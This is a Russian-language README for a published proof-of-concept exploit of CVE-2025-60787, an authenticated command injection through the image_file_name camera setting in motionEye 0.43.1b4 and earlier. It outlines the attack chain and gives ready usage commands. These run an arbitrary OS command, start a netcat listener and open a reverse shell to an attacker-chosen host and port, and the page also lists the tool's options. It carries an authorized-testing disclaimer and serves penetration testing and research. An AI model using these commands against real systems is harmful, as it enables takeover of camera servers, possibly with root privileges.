
CVE-2025-60787 motionEye: аутентифицированная инъекция команд — RCE PoC
Аутентифицированный PoC для инъекции команд в CVE-2025-60787. motionEye v0.43.1b4 и более ранние версии записывают управляемые пользователем значения конфигурации камеры, такие как image_file_name, в конфигурацию Motion без достаточной санитизации, что позволяет выполнять команды при обработке этого значения.
Только для авторизованного тестирования и исследований. Не используйте против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
/config/list/.image_file_name./action/<camera_id>/snapshot/, чтобы motionEye обработал внедрённое имя файла.


git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--user admin \
--password-hash HASH \
--cmd 'id > /tmp/motioneye_rce'
Сначала запустите слушатель:
rlwrap nc -lvnp 4444
Затем выполните:
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--port 8765 \
--user admin \
--password-hash HASH \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
Полезные опции:
--camera-id N Идентификатор камеры для изменения (по умолчанию: 1)
--restore Восстановить исходную конфигурацию камеры после срабатывания
--dry-run Сформировать подписанные запросы без изменения цели
--debug Выводить канонические подписанные пути, тела и подписи
--no-trigger Обновить конфигурацию без запуска снимка
--verify-tls Проверять HTTPS-сертификаты
--yes Пропустить запрос подтверждения reverse shell
| Продукт | Затронутая версия | Требуемый доступ | Воздействие |
|---|---|---|---|
| motionEye | <= 0.43.1b4 | Аутентифицированный доступ администратора/API | Выполнение OS-команд от пользователя процесса motionEye/Motion |
Итоговые привилегии зависят от способа развёртывания motionEye. В контейнерах или лабораторных образах, где сервис запущен от root, выполнение команд может происходить с правами root.
image_file_name.--restore во время тестирования, чтобы вернуть исходную конфигурацию камеры после эксплуатации.--cmd.ozcanpng — github.com/ozcanpng — ozcanpng.dev